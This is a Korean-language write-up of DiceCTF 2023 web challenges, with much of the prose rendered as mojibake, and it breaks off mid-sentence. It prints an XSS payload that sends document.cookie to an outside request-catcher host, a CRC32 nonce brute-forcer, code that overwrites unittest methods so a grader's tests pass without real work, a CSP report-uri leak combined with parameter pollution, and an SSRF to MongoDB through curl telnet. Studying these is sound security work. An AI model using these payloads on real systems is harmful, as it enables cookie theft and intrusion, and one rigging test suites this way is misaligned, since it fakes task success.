[DiceCTF] Writeup
๐ก DiceCTF 2023 Writeup ์ ๋๋ค.
recursive-csp
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ด ํ๋ฉด์ ๊ทธ๋๋ก ๋์ค๋ฉฐ, ์คํฌ๋ฆฝํธ ์คํ์ ์ํด์ CSP ๊ฐ์ ํ์ธํด๋ณด๋ฉด ์์ php์ ๊ฐ์ด ์ฒ๋ฆฌํ๋ค.
$nonce = hash("crc32b", $name); # ์ฌ์ฉ์์ input ๊ฐ์ crc32ํด์ ์ฒ๋ฆฌ
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); # ํด์ ๊ฐ์ nonce์ ๊ฐ์ผ๋ก ์ด์ฉํ๋ค.
nonce๊ฐ์ ๋ง์ถ ์ ์๋ค๋ฉด ์คํฌ๋ฆฝํธ ์คํ์ด ๊ฐ๋ฅํ๋ค.
๋ฌธ์ ์ ์ ๋ชฉ์ด recursive์ธ ์ด์ ๋ ๋ค์๊ณผ ๊ฐ์ด ํ์ด๋ก๋๋ฅผ ๋ฐ๊พธ๋ฉด ๊ณ์ recursiveํ๊ฒ nonce๊ฐ์ด ๋ณ๊ฒฝ๋๊ธฐ ๋๋ฌธ.
๋ง์ฝ ๊ณต๊ฒฉ ํ์ด๋ก๋๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์คํํ๋ค๊ณ ํ์.
<script nonce="123">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>
์์ ์คํฌ๋ฆฝํธ์ crc32 ์คํ๊ฐ์ cb677c7e
์ด๋ค. ์ฆ nonce=โ123โ์ด ํ๋ ธ๊ธฐ ๋๋ฌธ์ ์คํฌ๋ฆฝํธ ์คํ์ด ์๋๋ค. ๊ทธ๋์ ๋ค์๊ณผ ๊ฐ์ด nonce๋ฅผ ๋ฐ๊พธ๋ฉด
<script nonce="cb677c7e">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>
๋๋ค์ nonce๊ฐ์ด ๋ฐ๋์๊ธฐ ๋๋ฌธ์ ์ ์ฒด crc32์ ๊ฐ์ด 44519347
๋ก ๋ฐ๋์ด ๋ฒ๋ฆฐ๋ค. ์ด๋ฐ์์ผ๋ก ๋์์์ด nonce๋ฅผ ๋ฐ๊พธ๋ฉด ๋ค์ crc32๊ฐ์ด ๋ฐ๋๊ณ ๋ฃจํ์ ๋น ์ง๊ฒ ๋๋ค.
ํ์ง๋ง crc32์ ์ ์ฒด ๊ฐ์ 32bit ์ด๋ฏ๋ก ์ถฉ๋์ ์ ๋ํด ๋ณผ๋ง ํ๋ค.
์ฆ ์ด๋ค
nonce ๊ฐ์ ๋ํด์๋
<script nonce="xxxxxxxx">
location.href="https://myoungseok.requestcatcher.com/"+document.cookie;
</script>
์ crc32 ์คํ๊ฒฐ๊ณผ๊ฐ nonce๊ฐ๊ณผ ๋์ผํ xxxxxxxx
๊ฐ ๋์ฌ ์ ๋ ์๋ค. ์ด ๊ฐ์ brute force๋ก ์ฐพ๊ฒ ๋๋ค๋ฉด script๋ฅผ ์คํํ ์ ์๊ฒ๋๋ค.
์คํ์ ์ฌ์ฉํ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
1์ค๋ ๋๋ก ๋๋ ธ๋๋ ์๊ฐ์ด ๋๋ฌด ์ค๋๊ฑธ๋ ค์ 16์ค๋ ๋๋ฅผ ์ฌ์ฉํ์ฌ ๋น ๋ฅธ ์๊ฐ์์ ์ถฉ๋๊ฐ์ ์ฐพ์๋ผ ์ ์์๋ค.
import zlib
from multiprocessing import Pool
NUM_PROCESSES = 16
def get_crc32(data):
return format(zlib.crc32(data.encode()), 'x')
def decimal_to_hex(decimal):
return hex(decimal).split('x')[-1]
def work(idx):
for nonce in range((0xffffffff//NUM_PROCESSES) *(idx),(0xffffffff//NUM_PROCESSES) *(idx+1)):
script = f'''<script nonce="{decimal_to_hex(nonce)}">location.href="https://myoungseok.requestcatcher.com/"+document.cookie;</script>'''
tmp = get_crc32(script)
if decimal_to_hex(nonce) == tmp:
print(decimal_to_hex(nonce))
break
if __name__ == '__main__':
with Pool(NUM_PROCESSES) as p:
p.map(work,[ x for x in range(NUM_PROCESSES)])
์ถฉ๋์์ ์ฐพ์ ์ ์๋ค.
scorescope
๋ฌธ์ ์์ ์ฃผ์ด์ง ํ
ํ๋ฆฟ ํ์ผ์ ๊ธฐ๋ฅ์ ๊ตฌํ์ ์๊ตฌํ๋ค.
๋ํ๊ธฐ ํจ์๋ฅผ return a+b
์ ๊ฐ์ด ์์ฑํ์ฌ ํ์ผ์ ์ ์ถํ๋ฉด
์๋์ ๊ฐ์ด test_add ํ ์คํธ๋ค์ ํต๊ณผํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํ์ง๋ง ์ด ๋ฌธ์ ๋ ๋ค์ ๋ฌธ์ ๋ค์ ๊ธฐ๋ฅ์ ๊ตฌํ์ด ๋ถ๊ฐ๋ฅํ ๋ฌธ์ ๋ค์ด ์ ์๋๋ค. factor()์ ๊ฒฝ์ฐ ์์ธ์ ๋ถํด๋ฅผ ์๊ตฌํ๋ ๋ฌธ์ ์ด๊ณ (n์ด ํฌ๋ค๋ฉด ์๊ฐ์์ ๋๋์ง ์์), preimage()ํจ์๋ ์ฃผ์ด์ง ํด์๊ฐ์ ๋ณธ๋์๋ฅผ ๊ตฌํ๋ ํจ์์ด๋ค(๋ถ๊ฐ๋ฅ). ๊ทธ๋์ ์ด ๋ฌธ์ ๋ ์ด๋ป๊ฒ๋ ์ด๋ฅผ ์ฐํํ์ฌ ์ ์ฒด 22๊ฐ์ test case๋ฅผ ํต๊ณผํ๋ ๋ฌธ์ ์ด๋ค.
๋ณธ ๋ฌธ์ ์์ ํ์ฉํ๋ ๊ฐ๋
์ __import__('__main__')
์ ์ ๊ทผ ๊ฐ๋ฅํ๋ค๋ฉด, ํ์ ํจ์๋ฅผ ๋ณ์กฐํ๋๊ฒ์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ด์ฉํ ๋ฌธ์ ์ด๋ค.
์ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋จผ์ ์ ๊ทผํ ๋ฐฉ๋ฒ์์ ์์คํ ํจ์์ ์คํ์ด๋, ๋ค๋ฅธ ๋ชจ๋์ import๋ฅผ ์๋ํด๋ดค์ง๋ง ์ด ๋ฐฉ๋ฒ์ ๋งํ์์ด์ ์๋ํ ๋ฐฉ๋ฒ์ด๋ค. ํด๋น ๋ฐฉ๋ฒ์ ์๋ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋งํ๋ค.
๋จผ์ ๋ค์๊ณผ ๊ฐ์ด add()ํจ์์ raise Exception์ ํตํด์ ์ํ๋ ์ถ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ์ธ ํ ์์๋ค.
['SilentResult', 'SubmissionImporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']
ํด๋น ํด๋์ค์, ํจ์๋ค์ ๋ช๊ฐ ๋ถ์์ ํด๋ณด๋ฉด, suite, test, tests
ํจ์๋ค์ด ์ค์ํ๊ฒ ๋ณด์ธ๋ค.
main.suite๋ฅผ ์ถ๋ ฅ์ ํด๋ณด๋ฉด
unittest.suite.TestSuite ํด๋์ค์ ๊ฐ์ฒด์์ด ๋ณด์ด๋ฉฐ, ํ์ด์ฌ์ unittest ํ๋ ์์ํฌ๋ฅผ ํ์ฉํ์ฌ ์ฌ์ฉ์๊ฐ ์ ์ํ ํจ์์ ์๋ ์ ๋ฌด๋ฅผ ํ๋จํ๋ ๊ฒ์ ์ ์ ์๋ค.
Exception: [
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[None, None, <test_1_add.TestAdd testMethod=test_add_positive>]>, <unittest.suite.TestSuite tests=[]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_2_longest.TestLongest testMethod=test_longest_empty>, <test_2_longest.TestLongest testMethod=test_longest_multiple>, <test_2_longest.TestLongest testMethod=test_longest_multiple_tie>, <test_2_longest.TestLongest testMethod=test_longest_single>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_3_common.TestCommon testMethod=test_common_consecutive>, <test_3_common.TestCommon testMethod=test_common_empty>, <test_3_common.TestCommon testMethod=test_common_many>, <test_3_common.TestCommon testMethod=test_common_nonconsecutive>, <test_3_common.TestCommon testMethod=test_common_single>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_4_favorite.TestFavorite testMethod=test_favorite>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_5_factor.TestFactor testMethod=test_factor_bigger>, <test_5_factor.TestFactor testMethod=test_factor_large>, <test_5_factor.TestFactor testMethod=test_factor_small>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_6_preimage.TestPreimage testMethod=test_preimage_a>, <test_6_preimage.TestPreimage testMethod=test_preimage_b>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, <unittest.suite.TestSuite tests=[<test_7_magic.TestMagic testMethod=test_magic_a>, <test_7_magic.TestMagic testMethod=test_magic_b>, <test_7_magic.TestMagic testMethod=test_magic_c>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<test_8_hidden.TestHidden testMethod=test_hidden>]>]>
]
์์ ๊ฐ์ ๊ตฌ์กฐ๋ก TestSuite๋ค์ด ๊ตฌ์ฑ๋์ด ์์ผ๋ฉฐ, ๊ฐ๊ฐ์ ํ
์คํธ ํจ์๋ testMethod=func
๊ฐ์ ๊ตฌ์กฐ๋ก ์ ์๋จ์ ์ ์ ์๋ค. ๋ฐ๋ผ์ ๋ชจ๋ ๊ตฌ์กฐ์ TestSuite์์ testMethod๋ฅผ ์ํ๋ ์์์ ํจ์๋ก ๋ฐ๊พผ๋ค๋ฉด ํ
์คํธ ํต๊ณผ๋ฅผ ์ฐํํ ์ ์๋ค.
ํ์ด ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค. ์ฝ๋๋ ์ ํ๋ธ์ ์ฌ๋ผ์จ writeup ์ฝ๋์ด๋ค.
def nop():
return
def add(a, b):
main = __import__('__main__')
def nop_tests(suite):
if suite == None:
return
if "_testMethodName" in suite.__dict__:
suite.__dict__[suite.__dict__['_testMethodName']] = nop
return
for a in suite:
nop_tests(a)
nop_tests(main.suite)
return a+b
codebox
์ฃผ์ ๊ฐ๋ ๋ค์ ๋จผ์ ์ ๋ฆฌํ๋ค.
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
์์ ์ฝ๋๋ client script ์ฝ๋์ด๋ฉฐ, ์๋ก์ด iframe์ ๋ง๋ค๊ณ ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ(code)๋ฅผ srcdoc์ ์ ๋ ฅํ์ฌ iframe์ ์์ฑํ๋ค. ์ด ๋ถ๋ถ์์ ์ฃผ์ํ ๋ถ๋ถ์ sandbox ๋ถ๋ถ์ด๋ค.
๐ก iframe sandbox๋ iframe์ ์๋๋ฐ์คํ(๊ณ ๋ฆฝ) ์ํค๋ ๊ธฐ์ ๋ก์จ, sandbox ์ต์ ์ ์ฃผ๊ณ ์๋ฌด๋ฐ ๊ฐ์ ์ฃผ์ง ์์ผ๋ฉด ํ์ฉ์ ์ฑ ์ ํ๋๋ ์ฃผ์ง ์์ ์ํ๋ก ์ํ๋ ๊ธฐ๋ฅ ๋๋ถ๋ถ์ด ์คํ๋์ง ์๋๋ค. ์ฃผ์ ์ ์ฑ ์ผ๋ก๋ โallow-scriptsโ, โallow-same-originโ๋ฑ์ด ์์ผ๋ฉฐ ์ด๋ฌํ ์ ์ฑ ์ด ์ฃผ์ด์ง์ง ์์์ ๊ณต๊ฒฉ์ง์ ์ผ๋ก ์ก๊ธฐ์๋ ๋์ด๋๊ฐ ๋๋ฌด ๋๋ค(๊ฑฐ์ ๋ถ๊ฐ๋ฅํด ๋ณด์)
fastify.get('/', (req, res) => {
const code = req.query.code;
const images = [];
if (code) {
const parsed = HTMLParser.parse(code);
for (let img of parsed.getElementsByTagName('img')) {
let src = img.getAttribute('src');
if (src) {
images.push(src);
}
}
}
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];
if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}
res.header('Content-Security-Policy', csp.join('; '));
res.type('text/html');
return res.send(box);
});
img ํ๊ทธ์ src ์์ฑ์ผ๋ก ์ ๋ ฅ๋ ๊ฐ์ ํ์ฑํ์ฌ csp ํญ๋ชฉ์ ๊ทธ๋๋ก ์ถ๊ฐํด์ค๋ค. ์ด๋ฅผ ์ด์ฉํด์ csp์ ์ํ๋ directive๋ค์ ์ถ๊ฐํ ์ ์๋ค. ์ด๋ฒ ๋ฌธ์ ์์ ์ฌ์ฉํ directive๋ report-uri (report-to) directive ์ด๋ค.
๐ก report-uri(ํ์ฌ๋ report-to๋ก ๋์ฒด๋จ)๋ ๋ง์ฝ ํด๋น ํ์ด์ง์์ csp ์ ์ฑ ์ ์ํด์ ์ฐจ๋จ์ด ๋๋ ํญ๋ชฉ์ด ์๋ค๋ฉด ํด๋น directive์์ ์ง์ ํ ์ฃผ์๋ก ์ด๋ ํ ์ ์ฑ ์ ์ํด์ ์ฐจ๋จ๋์๊ณ ,๋ฑ๋ฑ์ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํฌํ ํด์ฃผ๋ ๊ธฐ๋ฅ์ด๋ค.
๋ฌธ์ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํ๋์ง ์๋๋ค.
์ฝ์์ ์ถ๋ ฅ๋ ์๋ฌ ๋ก๊ทธ๋ ๋ค์๊ณผ ๊ฐ๋ค.
Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.
iframe์ด ์๋๋ฐ์ค ์ต์ ์ด ์ฃผ์ด์ ธ์๊ณ , โallow-scriptsโ ์ต์ ์ด ์ฃผ์ด์ ธ ์์ง ์๊ธฐ ๋๋ฌธ์ iframe ์์์๋ script ์คํ์ด ๋ถ๊ฐ๋ฅ ํ๋ค๋ ์๋ฏธ์ด๋ค. ์ค์ ctf๋ฅผ ํ ๋๋ ์ด๋ฅผ ์ฐํํด์ ์คํฌ๋ฆฝํธ ์คํ์ด ๊ฐ๋ฅํ๋๋ก ํ๋ ๋ฐฉ๋ฒ์ด ์กด์ฌํ๋์ง ์ฐพ๊ธฐ ์ํด ๋ ธ๋ ฅํ๋๋ฐ, ๋๋๊ณ ๋์ ๋ณด๋ ์ด๋ ๊ฑฐ์ ๋ถ๊ฐ๋ฅํ ๋ฐฉ๋ฒ์ธ๊ฑฐ ๊ฐ๋ค.
์ด๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ์ผ๋ก ๋ณธ ๋ฌธ์ ์์ ์ฌ์ฉ๋ ๊ธฐ๋ฒ์ report-uri csp ์ง์์ ์ด๋ค. ํ์ฌ csp ๊ฐ์ ๋ณ์กฐ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์, report-uri ๊ฐ์ ๋์ ์๋ฒ๋ก ๋ฐ๊พธ๊ณ csp๋ฅผ ์๋ฐํ๋ฉด ์ด๋ป๊ฒ ์ค๋์ง ํ์ธํด ๋ณธ๋ค.
์์๊ฐ์ด ์ฝ๋๋ฅผ ์์ฑํ๋ฉด, ๋ค์๊ณผ ๊ฐ์ด csp๊ฐ์ด ๋ณ์กฐ๋์ด report-uri ๊ฐ์ด ์ฝ์ ๋๋ ๊ฒ์ ํ์ธํ ์ ์๊ณ
report-uri๋ก ์ง์ ํ ์ฃผ์๋ก ๋ค์๊ณผ ๊ฐ์ด csp-report ํจํท์ด ์ ์ก๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๋ค์๊ณผ ๊ฐ์ด csp์๋ฐ์ ๋ณด๊ฐ ์๋ฒ๋ก ์ ์ก๋๋ค.
{
"document-uri": "about",
"referrer": "",
"violated-directive": "object-src",
"effective-directive": "object-src",
"original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src http://example.com; report-uri https://myoungseok.requestcatcher.com",
"disposition": "enforce",
"blocked-uri": "https://not-example.com",
"status-code": 0,
"script-sample": ""
}
์ฐ๋ฆฌ๋ flag์ ๋ณด๋ฅผ ์ฝ์ด์ผ ํ๋ค. ๋ค์ ํด๋ผ์ด์ธํธ์์ ์คํ๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ณธ๋ค.
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
๊ฐ์ฅ ๋ง์ง๋ง์ ๋์ค์ ๋ณด๋ฉด flag๋ณ์์ flag ๊ฐ์ด ๋ด๊ธฐ๊ณ , ์ด๋ฅผ innerHTML์ ๋ฃ์์ผ๋ก์จ ํ๋๊ทธ๊ฐ ์ถ๋ ฅ๋๋ค. ๊ทธ๋ ๋ค๋ฉด ๊ฐ์ฅ ๋ง์ง๋ง์ค innerHTML์ค์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ฌ report-uri ๊ฐ ์ ์ก๋๋ค๋ฉด flag๊ฐ ํ๋ฌธ๊ฐ์ผ๋ก ์๋ฒ์ ์ ์ก๋ ๊ฒ์ด๋ค.
๋ง์ง๋ง ์ค์ csp ์ง์์๋ฅผ ์๋ฐํ๋๋ก ์ค์ ํ๊ธฐ ์ํด์ csp ์ง์์์ค require-trusted-types-for
์ด๋ผ๋ ์ง์์๋ฅผ ์ฌ์ฉํ๋ค.
๐ก require-trusted-types-for csp ์ง์์๋, injection sinks(ex. Element.innerHTML, Location.hrefs โฆ. ๋ฑ 60์ฌ๊ฐ์ง) ๋ถ๋ถ์ ๋ค์ด๊ฐ๋ ๋ฌธ์์ด๋ค์ ๊ฒ์ฆ๋ ํ์ ์ธ์ง(trusted types) ๊ฒ์ฆํด์ผ๋ง ๋ค์ด๊ฐ ์ ์๋๋ก ํ๋ ๊ฐ๋ ฅํ xss ๋ฐฉ์ด ์ ์ฑ ์ด๋ค.
์ด๋ฅผ ์ด์ฉํด์ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ์ฌ, ์คํํ๋ค.
์์๊ณผ ๊ฐ์ด csp๊ฐ ๋ณ์กฐ๋์๋ค.
๋ํ ์ฝ์์ ๋์จ ๋ก๊ทธ๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด TrustedHTML ์ง์์ ์๋ฐ๋ก๊ทธ๊ฐ ๋ฐ์ํ ๊ฒ์ ํ์ธ ํ ์ ์๋ค.
๋ฐ์์ง์ ์ ํ์ธํด๋ณด์.
์ฐ๋ฆฌ๋ ๋ง์ง๋ง์ค์ธ 58๋ฒ์งธ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํด์ผ ํ๋๋ฐ, ๊ทธ ์ด์ ์ 50๋ฒ์งธ ์ค์์๋ Injection sinks ๋ถ๋ถ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ํด๋น ์ง์ ์์ ๋จผ์ ์ค๋ฅ๊ฐ ๋ฐ์ํด๋ฒ๋ฆฐ๋ค.
if(code) ๋ถ๋ถ์ด ์คํ๋์ง ์๋๋ก ํ๋ฉด ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด์ HPP(Http Parameter Pollution) ๊ธฐ๋ฒ์ ํ์ฉํ๋ค.
๐ก HPP๋ ๋์ผํ ๋งค๊ฐ๋ณ์์ ์ด๋ฆ์ผ๋ก ์๋ฒ์ ์์ฒญ์ ๋ณด๋ผ๋ ์ด๋ฅผ ๋ค๋ฅด๊ฒ ์ฒ๋ฆฌํ๋ ๋ก์ง์ ์ด์ฉํ์ฌ ๊ฒ์ฆ๋ก์ง์ ์ฐํํ๋ ๊ธฐ๋ฒ์ด๋ค. ํ์ฌ ์ฐ๋ฆฌ๋ ํด๋ผ์ด์ธํธ์ javascript ์ฝ๋์ ์๋ฒ์ fastify์์ ๋งค๊ฐ๋ณ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ๋ฒ๋น ๋ค๋ฅธ๊ฒ์ ์ด์ฉํ์ฌ ์ฐํ๋ฅผ ์๋ํ๋ค.
๋ง์ฝ ์ฌ์ฉ์๊ฐ /?code=&code=123 ์ด๋ผ๊ณ ์ ์ก์ ํ์๋, ์๋ฒ์ ์ฌ์ฉ์์ ์ฒ๋ฆฌ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๋ค.
- Server
const code = req.query.code; // code=123
const images = [];
- Client
const code = new URL(window.location.href).searchParams.get('code'); // code=''
์ฆ Client์์์ code๋ ์ฒซ ๋ฒ์งธ ๋งค๊ฐ๋ณ์์ ๊ฐ(๊ณต๋ฐฑ)์ด ๋๊ณ , ์๋ฒ์์ Code๋ ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์์ ๊ฐ(123)์ด ๋์ด ์ฒ๋ฆฌ ๋ก์ง์ ์ฐํ๊ฐ ๊ฐ๋ฅํด ์ง๋ค.
์ต์ข ์ ์ผ๋ก HPP ๊ธฐ๋ฒ๊น์ง ์ด์ฉํ์ฌ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ง์ ์ธ 58๋ฒ์งธ ๋ผ์ธ์์ CSP ์ง์์ ์๋ฐ์ ์ ๋ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
unfinished
์ด ๋ฌธ์ ๋ ์ฒ์์ ์๋ฌด๋ฆฌ ๋ด๋ ๋ญ๋ฅผ ํ๋ผ๊ณ ํ๋์ง ๊ฐ์ ๋ชป์ก์๋ ๋ฌธ์ ์ด๋ค. ๋ฌธ์ ๋ฅผ ๋ง๋ ์ฌ๋์ WriteUp์ ๋ณด๊ณ ๋์์ผ ์ดํดํ๋๋ฐ ๊ฝค ๋์ด๋๊ฐ ์๋ ๋ฌธ์ ์๋ค.
์ฐ์ ํด๋น ๋ฌธ์ ์์ ์ ์๋ route๋ /
, /api/login
, /api/ping
3๊ฐ์ด๋ค. ์ด ์ค์์ /api/ping
์ ํธ์ถํ๊ธฐ ์ํด์๋ ๋ค์ ํจ์์ ํต๊ณผ๊ฐ ํ์ํ๋ค.
const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=You need to be logged in");
}
next();
};
์ฌ๊ธฐ์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋๋ฐ, ์ฌ์ฉ์์ ์ธ์ ์ ๋ณด๊ฐ ์์ผ๋ฉด res.redirect() ํจ์๋ฅผ ํธ์ถํ์ง๋ง, return์ ํ์ง ์๋๋ค. ์ฆ, ํด๋น ์ฝ๋๋ ์ฌ์ฉ์์๊ฒ๋ โerror=You need to be logged inโ ์ด๋ผ๋ ๋ฉ์์ง๊ฐ ์ ์ก๋์ง๋ง ์ค์ ๋ก๋ ๊ทธ ๋ค์ Ping ๋ช ๋ น์ด๊ฐ ์คํ์ด ๋๋ค.
์ฆ, ์ด ๋ฌธ์ ๋ /api/ping ํจ์ ๋ด๋ถ์ curl ๋ช
๋ น์ด๋ฅผ ํตํด์ SSRF
ํํ์ ๊ณต๊ฒฉ์ ์ด์ฉํ์ฌ ๋ด๋ถ ๋คํธ์ํฌ mongodb์ flag๋ฅผ ๊ฐ์ ธ์ค๋ฉด ๋๋ค.
์ฐ์ /api/ping์ ๋ณด์
app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}
try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}
const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}
// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}
cp.spawn('cURL', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});
์ฌ์ฉ์์ request ์์ ์ด 3๊ฐ์ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋ ฅ๋ฐ๋๋ค. ๋ํ ๊ฐ๊ฐ์ ์กฐ๊ฑด์ ์ ๋ฆฌํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- url : http:, https: ๋ก protocol scheme์ด ์์๋์ด์ผ ํ๋ค.
- opt : -[a~Z] ํ๊ธ์์ ์ต์ ๋ง ๊ฐ๋ฅํ๋ค.
- opt & data : 1)opt ๊ฐ -d ์ด๊ฑฐ๋ data ๊ฐ GET or POST ์ด์ด์ผ ํ๋ค.
์ด๋ฌํ ์กฐ๊ฑด๋ค์ ๋ง์กฑ์ํค๋ฉด, curl
๋ช
๋ น์ด๋ฅผ ์คํ์ํค๋ฉฐ ๊ทธ ํํ๋ ๋ค์๊ณผ ๊ฐ๋ค.
curl <url> <opt> <data>
์ด๋ฌํ ์ ์ฝ์กฐ๊ฑด ์์์ ์ฐ์ ์ด๋ป๊ฒ curl ๋ช ๋ น์ด๋ฅผ ํตํด์ ๋ด๋ถ mongodb์ ๋ฐ์ดํฐ๋ฅผ ๋นผ์ฌ ์ ์์๊น? ๋ฐฉ๋ฒ์ผ๋ก๋ gopher scheme์ด๋ telnet scheme์ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ด ์๋ค. ํ์ง๋ง, dockerfile์ ๋ณด๋ฉด gopher๋ฅผ disable ์์ผ๋จ๊ธฐ ๋๋ฌธ์ ๋ณธ ๋ฌธ์ ์์๋ telnet์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ํํ์๋ค.
๋ค์๊ณผ ๊ฐ์ scheme์ ์ด์ฉํ๋ค๋ฉด raw data๋ฅผ ์ด์ฉํ์ฌ mongodb์ ํต์ ์ด ๊ฐ๋ฅํ๋ค
# payload.raw์๋ mongodb ๋ช
๋ น์ด๋ฅผ ์คํํ ์ ์๋ raw ๋ฐ์ดํฐ๊ฐ ํ์ํจ
curl telnet://mongodb:27017 -T payload.raw
์ฐ์ payload.raw ๋ฐ์ดํฐ๋ wireshark๋ฅผ ์ด์ฉํ ํจํท ์บก์ณ๋ฅผ ํตํด์ ๊ตฌํ ์ ์๋ค.
docker๋ก ์๋ฒ์ ๋์ผํ๊ฒ mongodb ํ๊ฒฝ์ ๋ง๋ค์ด ๋์ ๋ค์ ํด๋น mongodb์์ ์ฟผ๋ฆฌ๋ฌธ์ ํตํด์ flag๋ฅผ ํ๋ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํด ๋ณด์
# 1. ๋์ปคํ๊ฒฝ ์คํ
docker run -i -p 27017:27017 -t mongo:latest
# 2. ํด๋น mongodb์ ์ค์ ๋ฌธ์ ์ ๋์ผํ๊ฒ collection, data ์์ฑ
mongo localhost
> use secret
> db.createCollection("flag")
> db.flag.insert({"flag":"dice{test_flag}"})
# 3. mongo clinet๋ฅผ ์ด์ฉํด์ ํด๋น ํ๋๊ทธ๋ฅผ ์์ฒญํ๋ ์ฟผ๋ฆฌ๋ฌธ ์์ฑ
mongo --eval "db.getSiblingDB('secret').flag.find({})"
์ด๋ ๋ง์ง๋ง ์ฟผ๋ฆฌ๋ฌธ์ ์คํํ๋ ์๊ฐ์ ํจํท์ wireshark๋ก ์บก์ณํ๋ค.
ํด๋น raw ๋ฐ์ดํฐ๋ฅผ payload.raw๋ก ์ ์ฅํ๋ค.
curl ๋ช ๋ น์ด๋ฅผ ์ด์ฉํด์ payload.raw ๋ฐ์ดํฐ๋ฅผ ์ด์ฉํ ์ฟผ๋ฆฌ๋ฌธ์ ๋ค์๊ณผ ๊ฐ๋ค.
# --max-time์ ์ํด์ฃผ๋ฉด ๋์ ์๋ฒ์์ ๊ณ์ ๋ช
